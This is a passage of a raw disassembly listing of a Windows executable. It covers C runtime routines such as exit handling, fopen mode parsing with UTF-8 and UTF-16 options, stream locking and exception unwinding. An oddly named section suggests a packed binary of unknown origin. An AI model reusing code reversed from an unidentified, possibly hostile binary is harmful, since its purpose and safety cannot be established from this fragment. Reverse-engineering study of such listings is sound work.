eax, edi pop edi pop esi retn sub_41190D endp ; =============== S U B R O U T I N E ======================================= sub_41195D proc near ; CODE XREF: .text:0040E0D9p ; .text:0040E0FFp ... arg_0 = dword ptr 4 call sub_413861 push [esp+arg_0] call sub_4136C1 push off_423930 call sub_40F194 push 0FFh call eax add esp, 0Ch retn sub_41195D endp ; =============== S U B R O U T I N E ======================================= sub_411981 proc near ; CODE XREF: sub_4119A7+4p arg_0 = dword ptr 4 push offset aMscoree_dll ; "mscoree.dll" call ds:dword_41E0CC ; GetModuleHandleA test eax, eax jz short locret_4119A6 push offset aCorexitprocess ; "CorExitProcess" push eax call ds:off_41E0D4 test eax, eax jz short locret_4119A6 push [esp+arg_0] call eax locret_4119A6: ; CODE XREF: sub_411981+Dj ; sub_411981+1Dj retn sub_411981 endp ; =============== S U B R O U T I N E ======================================= sub_4119A7 proc near ; CODE XREF: sub_40D437+34p ; sub_40DF6D+1Cp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_411981 pop ecx push [esp+arg_0] call ds:off_41E0B0 int 3 ; Trap to Debugger sub_4119A7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4119BC proc near ; CODE XREF: sub_40C9B4+Cp push 8 call sub_40F9F7 pop ecx retn sub_4119BC endp ; =============== S U B R O U T I N E ======================================= sub_4119C5 proc near ; CODE XREF: sub_40C9EAp push 8 call sub_40F91F pop ecx retn sub_4119C5 endp ; =============== S U B R O U T I N E ======================================= sub_4119CE proc near ; CODE XREF: sub_411B0B+78p ; sub_411B0B+88p arg_0 = dword ptr 4 push esi mov esi, eax jmp short loc_4119DE ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_4119CE+14j mov eax, [esi] test eax, eax jz short loc_4119DB call eax loc_4119DB: ; CODE XREF: sub_4119CE+9j add esi, 4 loc_4119DE: ; CODE XREF: sub_4119CE+3j cmp esi, [esp+4+arg_0] jb short loc_4119D3 pop esi retn sub_4119CE endp ; =============== S U B R O U T I N E ======================================= sub_4119E6 proc near ; CODE XREF: sub_411A79+32p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] xor eax, eax jmp short loc_4119FE ; --------------------------------------------------------------------------- loc_4119EF: ; CODE XREF: sub_4119E6+1Cj test eax, eax jnz short loc_411A04 mov ecx, [esi] test ecx, ecx jz short loc_4119FB call ecx loc_4119FB: ; CODE XREF: sub_4119E6+11j add esi, 4 loc_4119FE: ; CODE XREF: sub_4119E6+7j cmp esi, [esp+4+arg_4] jb short loc_4119EF loc_411A04: ; CODE XREF: sub_4119E6+Bj pop esi retn sub_4119E6 endp ; =============== S U B R O U T I N E ======================================= sub_411A06 proc near ; CODE XREF: sub_40FA28+12p ; sub_416874+27p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi cmp ecx, esi jnz short loc_411A2E loc_411A11: ; CODE XREF: sub_411A06+2Fj call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_411A2E: ; CODE XREF: sub_411A06+9j mov eax, dword_425FF8 cmp eax, esi jz short loc_411A11 mov [ecx], eax xor eax, eax pop esi retn sub_411A06 endp ; =============== S U B R O U T I N E ======================================= sub_411A3D proc near ; CODE XREF: sub_40FA28+2Dp ; sub_4190F4+11Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_411A65 loc_411A48: ; CODE XREF: sub_411A3D+2Ej call sub_40F7D4 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_411A3D+9j cmp dword_425FF8, esi jz short loc_411A48 mov ecx, dword_426004 mov [eax], ecx xor eax, eax pop esi retn sub_411A3D endp ; =============== S U B R O U T I N E ======================================= sub_411A79 proc near ; CODE XREF: .text:0040E117p arg_0 = dword ptr 4 cmp ds:off_41FD6C, 0 jz short loc_411A9C push offset off_41FD6C call sub_4169B2 test eax, eax pop ecx jz short loc_411A9C push [esp+arg_0] call ds:off_41FD6C pop ecx loc_411A9C: ; CODE XREF: sub_411A79+7j ; sub_411A79+16j call sub_4172FE push offset dword_41E2D8 push offset dword_41E2BC call sub_4119E6 test eax, eax pop ecx pop ecx jnz short locret_411B0A push esi push edi push offset sub_414DC8 call sub_40C9F0 mov esi, offset dword_41E298 mov eax, esi mov edi, offset dword_41E2B8 cmp eax, edi pop ecx jnb short loc_411AE2 loc_411AD3: ; CODE XREF: sub_411A79+67j mov eax, [esi] test eax, eax jz short loc_411ADB call eax loc_411ADB: ; CODE XREF: sub_411A79+5Ej add esi, 4 cmp esi, edi jb short loc_411AD3 loc_411AE2: ; CODE XREF: sub_411A79+58j cmp dword_434D38, 0 pop edi pop esi jz short loc_411B08 push offset dword_434D38 call sub_4169B2 test eax, eax pop ecx jz short loc_411B08 push 0 push 2 push 0 call dword_434D38 loc_411B08: ; CODE XREF: sub_411A79+72j ; sub_411A79+81j xor eax, eax locret_411B0A: ; CODE XREF: sub_411A79+3Bj retn sub_411A79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B0B proc near ; CODE XREF: sub_411BD9+8p ; sub_411BEA+8p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 00411BD3 SIZE 00000006 BYTES push 0Ch push offset dword_421AD0 call __SEH_prolog4 push 8 call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 xor esi, esi inc esi cmp dword_426038, esi jz short loc_411B99 mov dword_426034, esi mov al, byte ptr [ebp+arg_8] mov byte_426030, al cmp [ebp+arg_4], 0 jnz short loc_411B89 push dword_434D30 call sub_40F194 mov edi, eax push dword_434D2C call sub_40F194 pop ecx pop ecx mov [ebp+var_1C], eax test edi, edi jz short loc_411B79 loc_411B63: ; CODE XREF: sub_411B0B+68j ; sub_411B0B+6Cj sub [ebp+var_1C], 4 cmp [ebp+var_1C], edi jb short loc_411B79 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_411B63 call eax jmp short loc_411B63 ; --------------------------------------------------------------------------- loc_411B79: ; CODE XREF: sub_411B0B+56j ; sub_411B0B+5Fj push offset dword_41E2E8 mov eax, offset dword_41E2DC call sub_4119CE pop ecx loc_411B89: ; CODE XREF: sub_411B0B+35j push offset dword_41E2F4 mov eax, offset dword_41E2EC call sub_4119CE pop ecx loc_411B99: ; CODE XREF: sub_411B0B+21j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_411BC4 cmp [ebp+arg_8], 0 jnz short loc_411BD3 mov dword_426038, esi push 8 call sub_40F91F pop ecx push [ebp+arg_0] call sub_4119A7 xor esi, esi inc esi sub_411B0B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_411BC4 proc near ; CODE XREF: sub_411B0B+95p cmp dword ptr [ebp+10h], 0 jz short locret_411BD2 push 8 call sub_40F91F pop ecx locret_411BD2: ; CODE XREF: sub_411BC4+4j retn sub_411BC4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_411B0B loc_411BD3: ; CODE XREF: sub_411B0B+9Ej call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_411B0B ; =============== S U B R O U T I N E ======================================= sub_411BD9 proc near ; CODE XREF: .text:0040E153p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_411B0B add esp, 0Ch retn sub_411BD9 endp ; =============== S U B R O U T I N E ======================================= sub_411BEA proc near ; CODE XREF: .text:0040E183p ; sub_4179DC+D9p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_411B0B add esp, 0Ch retn sub_411BEA endp ; =============== S U B R O U T I N E ======================================= sub_411BFB proc near ; CODE XREF: .text:loc_40E158p push 1 push 0 push 0 call sub_411B0B add esp, 0Ch retn sub_411BFB endp ; =============== S U B R O U T I N E ======================================= sub_411C0A proc near ; CODE XREF: .text:loc_40E188p push 1 push 1 push 0 call sub_411B0B add esp, 0Ch retn sub_411C0A endp ; =============== S U B R O U T I N E ======================================= sub_411C19 proc near ; CODE XREF: sub_40F4D7+C4p push esi call sub_40F18B mov esi, eax push esi call sub_411CDD push esi call sub_41685A push esi call sub_40CA02 push esi call sub_417B96 push esi call sub_417B8C push esi call sub_417982 push esi call nullsub_293 push esi call sub_415C3E push offset sub_411BEA call sub_40F128 add esp, 24h mov off_423930, eax pop esi retn sub_411C19 endp ; =============== S U B R O U T I N E ======================================= sub_411C65 proc near ; CODE XREF: sub_40CA0C+CEp ; sub_40CB08+18p ... and dword_434D24, 0 retn sub_411C65 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411C6D proc near ; CODE XREF: sub_40CBBC+7p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_421AF0 call __SEH_prolog4 push 0Eh call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] mov ecx, [esi+4] test ecx, ecx jz short loc_411CBE mov eax, dword_426040 mov edx, offset dword_42603C loc_411C99: ; CODE XREF: sub_411C6D+65j mov [ebp+var_1C], eax test eax, eax jz short loc_411CB1 cmp [eax], ecx jnz short loc_411CD0 mov ecx, [eax+4] mov [edx+4], ecx push eax call sub_40D35A pop ecx loc_411CB1: ; CODE XREF: sub_411C6D+31j push dword ptr [esi+4] call sub_40D35A pop ecx and dword ptr [esi+4], 0 loc_411CBE: ; CODE XREF: sub_411C6D+20j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_411CD4 call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_411CD0: ; CODE XREF: sub_411C6D+35j mov edx, eax jmp short loc_411C99 sub_411C6D endp ; =============== S U B R O U T I N E ======================================= sub_411CD4 proc near ; CODE XREF: sub_411C6D+58p ; DATA XREF: r69pu5ti:00421B08o push 0Eh call sub_40F91F pop ecx retn sub_411CD4 endp ; =============== S U B R O U T I N E ======================================= sub_411CDD proc near ; CODE XREF: sub_411C19+9p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_426044, eax retn sub_411CDD endp ; =============== S U B R O U T I N E ======================================= sub_411CE7 proc near ; CODE XREF: .text:0040CC25p ; sub_40D437+8Cp ... arg_0 = dword ptr 4 push dword_426044 call sub_40F194 test eax, eax pop ecx jz short loc_411D06 push [esp+arg_0] call eax ; sub_41D5F3 test eax, eax pop ecx jz short loc_411D06 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_411D06: ; CODE XREF: sub_411CE7+Ej ; sub_411CE7+19j xor eax, eax retn sub_411CE7 endp ; =============== S U B R O U T I N E ======================================= sub_411D09 proc near ; CODE XREF: sub_4107D6+76p ; sub_4107D6+82p ... mov eax, offset off_423938 retn sub_411D09 endp ; =============== S U B R O U T I N E ======================================= sub_411D0F proc near ; DATA XREF: r69pu5ti:0041E2C0o mov eax, dword_434D20 test eax, eax push esi push 14h pop esi jnz short loc_411D23 mov eax, 200h jmp short loc_411D29 ; --------------------------------------------------------------------------- loc_411D23: ; CODE XREF: sub_411D0F+Bj cmp eax, esi jge short loc_411D2E mov eax, esi loc_411D29: ; CODE XREF: sub_411D0F+12j mov dword_434D20, eax loc_411D2E: ; CODE XREF: sub_411D0F+16j push 4 push eax call sub_41187A test eax, eax pop ecx pop ecx mov dword_433D00, eax jnz short loc_411D5F push 4 push esi mov dword_434D20, esi call sub_41187A test eax, eax pop ecx pop ecx mov dword_433D00, eax jnz short loc_411D5F push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_411D5F: ; CODE XREF: sub_411D0F+30j ; sub_411D0F+49j xor edx, edx mov ecx, offset off_423938 jmp short loc_411D6D ; --------------------------------------------------------------------------- loc_411D68: ; CODE XREF: sub_411D0F+6Dj mov eax, dword_433D00 loc_411D6D: ; CODE XREF: sub_411D0F+57j mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset dword_423BB8 jl short loc_411D68 push 0FFFFFFFEh pop esi xor edx, edx mov ecx, offset dword_423948 push edi loc_411D89: ; CODE XREF: sub_411D0F+AAj mov edi, edx and edi, 1Fh imul edi, 28h mov eax, edx sar eax, 5 mov eax, dword_433C00[eax*4] mov eax, [edi+eax] cmp eax, 0FFFFFFFFh jz short loc_411DAD cmp eax, esi jz short loc_411DAD test eax, eax jnz short loc_411DAF loc_411DAD: ; CODE XREF: sub_411D0F+94j ; sub_411D0F+98j mov [ecx], esi loc_411DAF: ; CODE XREF: sub_411D0F+9Cj add ecx, 20h inc edx cmp ecx, offset dword_4239A8 jl short loc_411D89 pop edi xor eax, eax pop esi retn sub_411D0F endp ; =============== S U B R O U T I N E ======================================= sub_411DC0 proc near ; DATA XREF: r69pu5ti:0041E2E0o call sub_4129DC cmp byte_426030, 0 jz short loc_411DD3 call sub_417BA0 loc_411DD3: ; CODE XREF: sub_411DC0+Cj push dword_433D00 call sub_40D35A pop ecx retn sub_411DC0 endp ; =============== S U B R O U T I N E ======================================= sub_411DE0 proc near ; CODE XREF: sub_40CF9A+4Fp ; sub_40D257+50p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_423938 cmp eax, ecx jb short loc_411E04 cmp eax, offset dword_423B98 ja short loc_411E04 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_40F9F7 pop ecx retn ; --------------------------------------------------------------------------- loc_411E04: ; CODE XREF: sub_411DE0+Bj ; sub_411DE0+12j add eax, 20h push eax call ds:dword_41E150 ; RtlEnterCriticalSection retn sub_411DE0 endp ; =============== S U B R O U T I N E ======================================= sub_411E0F proc near ; CODE XREF: sub_412126+66p ; sub_412902+46p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_411E23 add eax, 10h push eax call sub_40F9F7 pop ecx retn ; --------------------------------------------------------------------------- loc_411E23: ; CODE XREF: sub_411E0F+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_41E150 ; RtlEnterCriticalSection retn sub_411E0F endp ; =============== S U B R O U T I N E ======================================= sub_411E32 proc near ; CODE XREF: sub_40CF7D+3p ; sub_40D0DF+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_423938 cmp eax, ecx jb short loc_411E56 cmp eax, offset dword_423B98 ja short loc_411E56 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_40F91F pop ecx retn ; --------------------------------------------------------------------------- loc_411E56: ; CODE XREF: sub_411E32+Bj ; sub_411E32+12j add eax, 20h push eax call ds:dword_41E154 ; RtlLeaveCriticalSection retn sub_411E32 endp ; =============== S U B R O U T I N E ======================================= sub_411E61 proc near ; CODE XREF: sub_412126+7Dp ; sub_4129A4+9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_411E75 add eax, 10h push eax call sub_40F91F pop ecx retn ; --------------------------------------------------------------------------- loc_411E75: ; CODE XREF: sub_411E61+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_41E154 ; RtlLeaveCriticalSection retn sub_411E61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411E84 proc near ; CODE XREF: sub_40CEC3+9Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, dword_426504 push ebx xor ebx, ebx push esi mov esi, [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+var_C], ebx mov [ebp+var_8], ebx mov [ebp+var_10], ebx jmp short loc_411EA5 ; --------------------------------------------------------------------------- loc_411EA4: ; CODE XREF: sub_411E84+24j inc esi loc_411EA5: ; CODE XREF: sub_411E84+1Ej cmp byte ptr [esi], 20h jz short loc_411EA4 mov al, [esi] cmp al, 61h jz short loc_411EE9 cmp al, 72h jz short loc_411EE0 cmp al, 77h jz short loc_411ED7 call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h xor eax, eax jmp loc_412122 ; --------------------------------------------------------------------------- loc_411ED7: ; CODE XREF: sub_411E84+32j mov [ebp+arg_4], 301h jmp short loc_411EF0 ; --------------------------------------------------------------------------- loc_411EE0: ; CODE XREF: sub_411E84+2Ej or [ebp+var_4], 1 mov [ebp+arg_4], ebx jmp short loc_411EF4 ; --------------------------------------------------------------------------- loc_411EE9: ; CODE XREF: sub_411E84+2Aj mov [ebp+arg_4], 109h loc_411EF0: ; CODE XREF: sub_411E84+5Aj or [ebp+var_4], 2 loc_411EF4: ; CODE XREF: sub_411E84+63j xor ecx, ecx inc ecx inc esi mov al, [esi] cmp al, bl push edi jz loc_4120BC mov edx, 80h mov edi, 4000h loc_411F0D: ; CODE XREF: sub_411E84+1B6j cmp ecx, ebx jz loc_412040 movsx eax, al cmp eax, 53h jg loc_411FC3 jz loc_411FB1 sub eax, 20h jz loc_412035 sub eax, 0Bh jz short loc_411F8B dec eax jz short loc_411F7F sub eax, 18h jz short loc_411F6C sub eax, 0Ah jz short loc_411F64 sub eax, 4 jnz loc_4120C5 cmp [ebp+var_8], ebx jnz loc_41202A or [ebp+arg_4], 10h mov [ebp+var_8], 1 jmp loc_412035 ; --------------------------------------------------------------------------- loc_411F64: ; CODE XREF: sub_411E84+BCj or [ebp+arg_4], edx jmp loc_412035 ; --------------------------------------------------------------------------- loc_411F6C: ; CODE XREF: sub_411E84+B7j test byte ptr [ebp+arg_4], 40h jnz loc_41202A or [ebp+arg_4], 40h jmp loc_412035 ; --------------------------------------------------------------------------- loc_411F7F: ; CODE XREF: sub_411E84+B2j mov [ebp+var_10], 1 jmp loc_41202A ; --------------------------------------------------------------------------- loc_411F8B: ; CODE XREF: sub_411E84+AFj test byte ptr [ebp+arg_4], 2 jnz loc_41202A mov eax, [ebp+arg_4] and eax, 0FFFFFFFEh or eax, 2 mov [ebp+arg_4], eax mov eax, [ebp+var_4] and eax, 0FFFFFFFCh or eax, edx mov [ebp+var_4], eax jmp loc_412035 ; --------------------------------------------------------------------------- loc_411FB1: ; CODE XREF: sub_411E84+9Dj cmp [ebp+var_8], ebx jnz short loc_41202A or [ebp+arg_4], 20h mov [ebp+var_8], 1 jmp short loc_412035 ; --------------------------------------------------------------------------- loc_411FC3: ; CODE XREF: sub_411E84+97j sub eax, 54h jz short loc_412022 sub eax, 0Eh jz short loc_412011 dec eax jz short loc_412000 sub eax, 0Bh jz short loc_411FEB sub eax, 6 jnz loc_4120C5 test word ptr [ebp+arg_4], 0C000h jnz short loc_41202A or [ebp+arg_4], edi jmp short loc_412035 ; --------------------------------------------------------------------------- loc_411FEB: ; CODE XREF: sub_411E84+14Fj cmp [ebp+var_C], ebx jnz short loc_41202A and [ebp+var_4], 0FFFFBFFFh mov [ebp+var_C], 1 jmp short loc_412035 ; --------------------------------------------------------------------------- loc_412000: ; CODE XREF: sub_411E84+14Aj cmp [ebp+var_C], ebx jnz short loc_41202A or [ebp+var_4], edi mov [ebp+var_C], 1 jmp short loc_412035 ; --------------------------------------------------------------------------- loc_412011: ; CODE XREF: sub_411E84+147j test word ptr [ebp+arg_4], 0C000h jnz short loc_41202A or [ebp+arg_4], 8000h jmp short loc_412035 ; --------------------------------------------------------------------------- loc_412022: ; CODE XREF: sub_411E84+142j test word ptr [ebp+arg_4], 1000h jz short loc_41202E loc_41202A: ; CODE XREF: sub_411E84+CAj ; sub_411E84+ECj ... xor ecx, ecx jmp short loc_412035 ; --------------------------------------------------------------------------- loc_41202E: ; CODE XREF: sub_411E84+1A4j or [ebp+arg_4], 1000h loc_412035: ; CODE XREF: sub_411E84+A6j ; sub_411E84+DBj ... inc esi mov al, [esi] cmp al, bl jnz loc_411F0D loc_412040: ; CODE XREF: sub_411E84+8Bj cmp [ebp+var_10], ebx jz short loc_4120BC jmp short loc_412048 ; --------------------------------------------------------------------------- loc_412047: ; CODE XREF: sub_411E84+1C7j inc esi loc_412048: ; CODE XREF: sub_411E84+1C1j cmp byte ptr [esi], 20h jz short loc_412047 push 4 push esi push offset aCcs ; "ccs=" call sub_4186FD add esp, 0Ch test eax, eax jnz short loc_4120C5 add esi, 4 push offset aUtf8 ; "UTF-8" push esi call sub_418581 test eax, eax pop ecx pop ecx jnz short loc_412081 add esi, 5 or [ebp+arg_4], 40000h jmp short loc_4120BC ; --------------------------------------------------------------------------- loc_412081: ; CODE XREF: sub_411E84+1EFj push offset aUtf16le ; "UTF-16LE" push esi call sub_418581 test eax, eax pop ecx pop ecx jnz short loc_41209E add esi, 8 or [ebp+arg_4], 20000h jmp short loc_4120BC ; --------------------------------------------------------------------------- loc_41209E: ; CODE XREF: sub_411E84+20Cj push offset aUnicode ; "UNICODE" push esi call sub_418581 test eax, eax pop ecx pop ecx jnz short loc_4120C5 add esi, 7 or [ebp+arg_4], 10000h jmp short loc_4120BC ; --------------------------------------------------------------------------- loc_4120BB: ; CODE XREF: sub_411E84+23Bj inc esi loc_4120BC: ; CODE XREF: sub_411E84+79j ; sub_411E84+1BFj ... cmp byte ptr [esi], 20h jz short loc_4120BB cmp [esi], bl jz short loc_4120DF loc_4120C5: ; CODE XREF: sub_411E84+C1j ; sub_411E84+154j ... call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h jmp short loc_4120FD ; --------------------------------------------------------------------------- loc_4120DF: ; CODE XREF: sub_411E84+23Fj push 180h push [ebp+arg_8] lea eax, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] push eax call sub_418349 add esp, 14h test eax, eax jz short loc_412101 loc_4120FD: ; CODE XREF: sub_411E84+259j xor eax, eax jmp short loc_412121 ; --------------------------------------------------------------------------- loc_412101: ; CODE XREF: sub_411E84+277j mov eax, [ebp+arg_C] inc dword_426048 mov ecx, [ebp+var_4] mov [eax+0Ch], ecx mov ecx, [ebp+var_10] mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_412121: ; CODE XREF: sub_411E84+27Bj pop edi loc_412122: ; CODE XREF: sub_411E84+4Ej pop esi pop ebx leave retn sub_411E84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412126 proc near ; CODE XREF: sub_40CEC3+54p var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 10h push offset dword_421B10 call __SEH_prolog4 xor ebx, ebx xor edi, edi mov [ebp+var_1C], edi push 1 call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], ebx xor esi, esi loc_412146: ; CODE XREF: sub_412126+85j mov [ebp+var_20], esi cmp esi, dword_434D20 jge loc_412216 mov eax, dword_433D00 lea eax, [eax+esi*4] cmp [eax], ebx jz short loc_4121B1 mov eax, [eax] test byte ptr [eax+0Ch], 83h jnz short loc_4121AA lea eax, [esi-3] cmp eax, 10h ja short loc_412183 lea eax, [esi+10h] push eax call sub_40F934 pop ecx test eax, eax jz loc_412216 loc_412183: ; CODE XREF: sub_412126+49j mov eax, dword_433D00 push dword ptr [eax+esi*4] push esi call sub_411E0F pop ecx pop ecx mov eax, dword_433D00 mov eax, [eax+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_4121AD push eax push esi call sub_411E61 pop ecx pop ecx loc_4121AA: ; CODE XREF: sub_412126+41j inc esi jmp short loc_412146 ; --------------------------------------------------------------------------- loc_4121AD: ; CODE XREF: sub_412126+79j mov edi, eax jmp short loc_412213 ; --------------------------------------------------------------------------- loc_4121B1: ; CODE XREF: sub_412126+39j shl esi, 2 push 38h call sub_41183A pop ecx mov ecx, dword_433D00 mov [esi+ecx], eax mov eax, dword_433D00 add eax, esi cmp [eax], ebx jz short loc_412216 push 0FA0h mov eax, [eax] add eax, 20h push eax call sub_416874 pop ecx pop ecx test eax, eax mov eax, dword_433D00 jnz short loc_4121FE push dword ptr [esi+eax] call sub_40D35A pop ecx mov eax, dword_433D00 mov [esi+eax], ebx jmp short loc_412216 ; --------------------------------------------------------------------------- loc_4121FE: ; CODE XREF: sub_412126+C3j mov eax, [esi+eax] add eax, 20h push eax call ds:dword_41E150 ; RtlEnterCriticalSection mov eax, dword_433D00 mov edi, [esi+eax] loc_412213: ; CODE XREF: sub_412126+89j mov [ebp+var_1C], edi loc_412216: ; CODE XREF: sub_412126+29j ; sub_412126+57j ... cmp edi, ebx jz short loc_41222C mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx or dword ptr [edi+10h], 0FFFFFFFFh loc_41222C: ; CODE XREF: sub_412126+F2j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412243 mov eax, edi call __SEH_epilog4 retn sub_412126 endp ; =============== S U B R O U T I N E ======================================= sub_412240 proc near ; DATA XREF: r69pu5ti:00421B28o mov edi, [ebp-1Ch] sub_412240 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412243 proc near ; CODE XREF: sub_412126+10Dp push 1 call sub_40F91F pop ecx retn sub_412243 endp ; =============== S U B R O U T I N E ======================================= sub_41224C proc near ; CODE XREF: sub_40CEC3+8Ap ; sub_41224C+BDp ... var_20 = dword ptr -20h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi mov edx, [esp+0Ch+arg_0] mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_8] push ebp push edx push eax push ecx push ecx push offset loc_4122DC push large dword ptr fs:0 mov eax, dword_423068 xor eax, esp mov [esp+28h+var_20], eax mov large fs:0, esp loc_41227E: ; CODE XREF: sub_41224C+64j ; sub_41224C+80j mov eax, [esp+28h+arg_4] mov ebx, [eax+8] mov ecx, [esp+28h+arg_0] xor ebx, [ecx] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFEh jz short loc_4122CE mov edx, [esp+28h+arg_8] cmp edx, 0FFFFFFFEh jz short loc_4122A0 cmp esi, edx jbe short loc_4122CE loc_4122A0: ; CODE XREF: sub_41224C+4Ej lea esi, [esi+esi*2] lea ebx, [ebx+esi*4+10h] mov ecx, [ebx] mov [eax+0Ch], ecx cmp dword ptr [ebx+4], 0 jnz short loc_41227E push 101h mov eax, [ebx+8] call sub_418829 mov ecx, 1 mov eax, [ebx+8] call sub_418848 jmp short loc_41227E ; --------------------------------------------------------------------------- loc_4122CE: ; CODE XREF: sub_41224C+45j ; sub_41224C+52j pop large dword ptr fs:0 add esp, 18h pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4122DC: ; DATA XREF: sub_41224C+14o mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_412321 mov eax, [esp+arg_4] mov ecx, [eax+8] xor ecx, eax call sub_40AB4A push ebp mov ebp, [eax+18h] push dword ptr [eax+0Ch] push dword ptr [eax+10h] push dword ptr [eax+14h] call sub_41224C add esp, 0Ch pop ebp mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_412321: ; CODE XREF: sub_41224C+A0j retn sub_41224C endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] push dword ptr [ecx+1Ch] push dword ptr [ecx+18h] push dword ptr [ecx+28h] call sub_41224C add esp, 0Ch pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41233E proc near ; CODE XREF: sub_410640+89p push ebp push esi push edi push ebx mov ebp, edx xor eax, eax xor ebx, ebx xor edx, edx xor esi, esi xor edi, edi call ecx pop ebx pop edi pop esi pop ebp retn sub_41233E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_410640 loc_412355: ; CODE XREF: sub_410640+170j mov ebp, edx mov esi, ecx mov eax, ecx push 1 call sub_418829 xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx xor edi, edi jmp esi ; END OF FUNCTION CHUNK FOR sub_410640 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41236E proc near ; CODE XREF: sub_410640+11Fp push ebp mov ebp, esp push ebx push esi push edi push 0 push 0 push offset loc_412383 push ecx call sub_41D486 loc_412383: ; DATA XREF: sub_41236E+Ao pop edi pop esi pop ebx pop ebp retn sub_41236E endp ; =============== S U B R O U T I N E ======================================= sub_412388 proc near ; CODE XREF: sub_410640+137p ; sub_410640+18Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp mov ebp, [esp+4+arg_0] push edx push ecx push [esp+0Ch+arg_4] call sub_41224C add esp, 0Ch pop ebp retn 8 sub_412388 endp ; =============== S U B R O U T I N E ======================================= sub_41239F proc near ; CODE XREF: sub_40CF9A+10Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4126A4 push eax call sub_4172A0 test eax, eax pop ecx pop ecx jz short loc_412431 call sub_411D09 add eax, 20h cmp esi, eax jnz short loc_4123C6 xor eax, eax jmp short loc_4123D5 ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_41239F+21j call sub_411D09 add eax, 40h cmp esi, eax jnz short loc_412431 xor eax, eax inc eax loc_4123D5: ; CODE XREF: sub_41239F+25j inc dword_426048 test word ptr [esi+0Ch], 10Ch jnz short loc_412431 push ebx push edi lea edi, 